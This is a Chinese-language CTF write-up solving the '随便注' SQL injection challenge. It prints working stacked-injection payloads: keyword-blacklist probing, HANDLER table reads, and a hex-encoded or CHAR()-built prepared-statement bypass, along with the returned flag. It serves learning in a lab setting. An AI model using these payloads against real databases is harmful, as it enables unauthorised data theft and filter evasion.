[强网杯 2019]随便注 思路及解法

📅2026/7/12 5:11:00 👁️次浏览
[强网杯 2019]随便注 思路及解法
大家好你们可以叫我凌是个16岁的网络安全学习者。今天我们来刷的题目是 [强网杯 2019]随便注 。废话不多说我们直接开始吧解题思路我们先启动靶场。方法一进入靶场先右击查看源代码。发现并没有什么线索那我们就直接依照题目进行截包尝试 SQL注入。html head meta charsetUTF-8 titleeasy_sql/title /head body h1取材于某次真实环境渗透只说一句话开发和安全缺一不可/h1 !-- sqlmap是没有灵魂的 -- form methodget 姿势: input typetext nameinject value1 input typesubmit /form pre /pre /body /html右击选中目标请求包发送到重发模块。先使用单引号判断注入类型。GET /?inject HTTP/2 GET /?inject%23 HTTP/2测试发现使用 “ GET /?inject%23 HTTP/2 ” 没有报错。初步判断为字符型注入。那我们先尝试使用联合注入看看。GET /?injectunionselect1%23 HTTP/2发现返回了以下内容说明后端采用黑名单绕过并且无视大小写修饰符 i。return preg_match(/select|update|delete|drop|insert|where|\./i,$inject);这样子就意味着大小写、双写关键字绕过都没有用了。那尝试使用注释拆分关键字绕过。GET /?injectunionse/**/lect1%23 HTTP/2返回的是报错信息看来也不行。pre error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near se/**/lect 1# at line 1 /pre这个时候先不要再莽撞了既然 select 走不通。那我们就把 select 换成其他的关键字来尝试突围。我们就换成 handled 来进行突围。刚刚我们已经将靶场的黑名单给爆出来了那我们发现接下来可以使用 “show tables” 配合 分号“;” 进行堆叠注入来顺畅地获取表单。GET /?inject;show%20tables%23 HTTP/2成功返回了表单发现可能存在 flag 的表单 “1919810931114514”。pre hr array(1) { [0] string(16) 1919810931114514 } br array(1) { [0] string(5) words } br /pre那接下来就使用 handled 进行突围对于该关键字需要先打开表。handler 1919810931114514 open在请求头当中应该这么写GET /?inject;handler1919810931114514open%23 HTTP/2看来目前没有被拦截那我们就继续使用 handler 来读取目标表中内容。handler 1919810931114514 read first我们先使用该语句获取表当中的第一行如果不是 flag 就依次读取接下来的数据如果都没有的化就换成 words表 继续。结合上面的 handler 打开表语句合并为以下 SQL 语句尝试读取 flaghandler 1919810931114514 open;handler 1919810931114514 read firstGET /?inject;handler1919810931114514open;handler1919810931114514readfirst%23 HTTP/2这样子我们就成功拿下了 flagpre hr array(1) { [0] string(42) CTF2{c0f0f778-b89c-4e7e-b3b0-fcfabbbefb91} } br /pre方法二刚刚的方法极度依赖黑名单如果黑名单将 handler 这样子的关键字拦截我们就得另寻它法了。于是我查遍资料发现了另一种解题方法。现在就跟大家分享一下。这就是 预编译 / 预处理 方法也是 SQL 注入中非常经典的手法。我们先看 payload 1;SeTa0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare aaa from a;execute aaa;#开头和结尾算是入门基础我就不讲了我们直接来看中间部分。SeTa0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare aaa from a;execute aaaSeTa0x73656c6... 解析作用定义一个用户变量 a并将右侧的 十六进制数据 赋值给它。小技巧这里写了 SeT 而不是 SET是为了绕过对“SET”关键字的大小写或简单字符串检测MySQL 默认不区分大小写。我们直接来看解码后的内容是完整的 SQL 语句足够读取 flag。prepare aaa from a 解析作用告诉 MySQL把刚才定义的变量 a 里的内容即十六进制解码后的字符串预编译成一条 SQL 语句并命名为 aaa。execute aaa 解析作用正式执行刚才预编译好的语句 aaa结果会直接显示在页面上。如果过滤了 0x 怎么办备选方案有些情况下WAF 可能会过滤 0x 开头。这时可以改用 CHAR() 函数拼接字符串原理一样1;Set aconcat(char(115),char(101),char(108),char(101),char(99),char(116), * from 1919810931114514);prepare aaa from a;execute aaa;#这里的 char(115) 对应字母 schar(101) 对应 e以此类推拼接出完整的 select。接下来我们就尝试使用该方法来解这道题目输入 payload⬇1;SeTa0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepareaaa froma;executeaaa%23这样子我们也成功拿下了 flag。注存在堆叠注入前提PHP 中使用 mysqli_multi_query() 函数时才支持用分号执行多条语句。靶场小结考点标签SQL注入、堆叠注入、HANDLER读表、预编译绕过、黑名单绕过核心教训1. 堆叠注入的价值分号 ; 没被过滤意味着可以在一条语句里执行多条 SQL 命令。这是堆叠注入的典型应用场景——先 show tables再针对目标表进行读取。2. HANDLER 读表当 select 被禁时“HANDLER 表名 OPEN; HANDLER 表名 READ FIRST;” 是种完全不依赖 select 的读表方式。它直接操作 MySQL 存储引擎效率高且安静。3. 预编译绕过的原理将 “select * from” 表名 编码为十六进制0x73656c656374...赋给变量再用 prepare 和 execute 执行。整个过程中被过滤的关键字从未以明文出现在 SQL 语句里。如果 0x 也被过滤还可以用 char() 函数逐个拼接字符原理相同。解题关键步骤方法一HANDLER1. 测闭合确认字符型注入。2. 测试联合查询发现 select 被过滤爆出黑名单正则。3. 用堆叠注入 ;show tables;-- 查出表名 1919810931114514。4. 用 “ ;handler 1919810931114514 open;handler 1919810931114514 read first;--” 直接读表拿到 Flag。方法二预编译1. 将 select * from 1919810931114514 转为十六进制 0x73656c656374...。2. 构造 Payload“1;SeTa0x73656c...;prepare aaa from a;execute aaa;--”3. 同样成功拿到 Flag。